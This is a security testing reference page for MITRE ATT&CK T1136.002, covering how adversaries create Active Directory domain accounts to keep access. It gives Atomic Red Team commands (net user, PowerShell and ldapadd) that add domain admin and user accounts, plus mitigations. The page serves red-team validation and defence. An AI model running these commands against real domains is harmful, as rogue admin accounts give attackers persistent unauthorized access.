T1136.002_domain-account

T1136.002 Domain Account

Sub-technique of: T1136

High-Level Description

Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the net user /add /domain command can be used to create a domain account.

Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.

Kill Chain Phase

• Persistence (TA0003)

Platforms: Linux, macOS, Windows

What to Check

• Identify if Domain Account technique is applicable to target environment
• Check Linux systems for indicators of Domain Account
• Check macOS systems for indicators of Domain Account
• Check Windows systems for indicators of Domain Account
• Verify mitigations are bypassed or absent (4 known mitigations)
• Assess detection coverage (1 detection strategies)

How to Test

Atomic Red Team Tests

The following tests are from Atomic Red Team and provide actionable ways to test this technique:

Atomic Test 1: Create a new Windows domain admin user

Creates a new domain admin user in a command prompt.

Supported Platforms: windows

net user "#{username}" "#{password}" /add /domain
net group "#{group}" "#{username}" /add /domain

Atomic Test 2: Create a new account similar to ANONYMOUS LOGON

Create a new account similar to ANONYMOUS LOGON in a command prompt.

Supported Platforms: windows

net user "#{username}" "#{password}" /add /domain

Atomic Test 3: Create a new Domain Account using PowerShell

Creates a new Domain User using the credentials of the Current User

Supported Platforms: windows

$SamAccountName = '#{username}'
$AccountPassword = ConvertTo-SecureString '#{password}' -AsPlainText -Force
Add-Type -AssemblyName System.DirectoryServices.AccountManagement
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain)
$User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context)
$User.SamAccountName = $SamAccountName
$TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)
$User.SetPassword($TempCred.GetNetworkCredential().Password)
$User.Enabled = $True
$User.PasswordNotRequired = $False
$User.DisplayName = $SamAccountName
$User.Save()
$User

Atomic Test 4: Active Directory Create Admin Account

Use Admin Credentials to Create A Domain Admin Account

Supported Platforms: linux

echo "dn: CN=Admin User,CN=Users,DC=#{domain},DC=#{top_level_domain}\nchangetype: add\nobjectClass: top\nobjectClass: person\nobjectClass: organizationalPerson\nobjectClass: user\ncn: Admin User\nsn: User\ngivenName: Atomic User\nuserPrincipalName: adminuser@#{domain}.#{top_level_domain}\nsAMAccountName: adminuser\nuserAccountControl: 512\nuserPassword: {CLEARTEXT}s3CureP4ssword123!\nmemberOf: CN=Domain Admins,CN=Users,DC=#{domain},DC=#{top_level_domain}" > tempadmin.ldif
echo ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif
ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif

Dependencies:

• Packages sssd-ad sssd-tools realmd adcli installed and realm available

Atomic Test 5: Active Directory Create User Account (Non-elevated)

Use Admin Credentials to Create A Normal Account (as means of entry)

Supported Platforms: linux

echo "dn: cn=Atomic User, cn=Users,dc=#{domain},dc=#{top_level_domain}\nobjectClass: person\ncn: Atomic User\nsn: User" > tempadmin.ldif
echo ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif
ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif

Dependencies:

• Packages sssd-ad sssd-tools realmd adcli installed and realm available, ldapadd, ldapmodify

Manual Testing

If Atomic Red Team tests are not applicable, manually verify the technique by:

1. Identify Attack Surface: Determine if the target environment is susceptible to Domain Account by examining the target platforms (Linux, macOS, Windows).

2. Assess Existing Defenses: Review whether mitigations for T1136.002 are in place. If defenses are absent or misconfigured, this technique may be exploitable.

3. Execute Test: Use tools and methods described in the MITRE ATT&CK page and external references below.

Remediation Guide

M1032 Multi-factor Authentication

Use multi-factor authentication for user and privileged accounts.

M1028 Operating System Configuration

Protect domain controllers by ensuring proper security configuration for critical servers.

M1030 Network Segmentation

Configure access controls and firewalls to limit access to domain controllers and systems used to create and manage accounts.

M1026 Privileged Account Management

Limit the number of accounts with permissions to create other accounts. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.

Detection

T1136.002 Detection Strategy - Domain Account Creation Across Platforms

Risk Assessment

CWE Categories

References

• Microsoft User Creation Event
• Savill 1999
• Atomic Red Team - T1136.002
• MITRE ATT&CK - T1136.002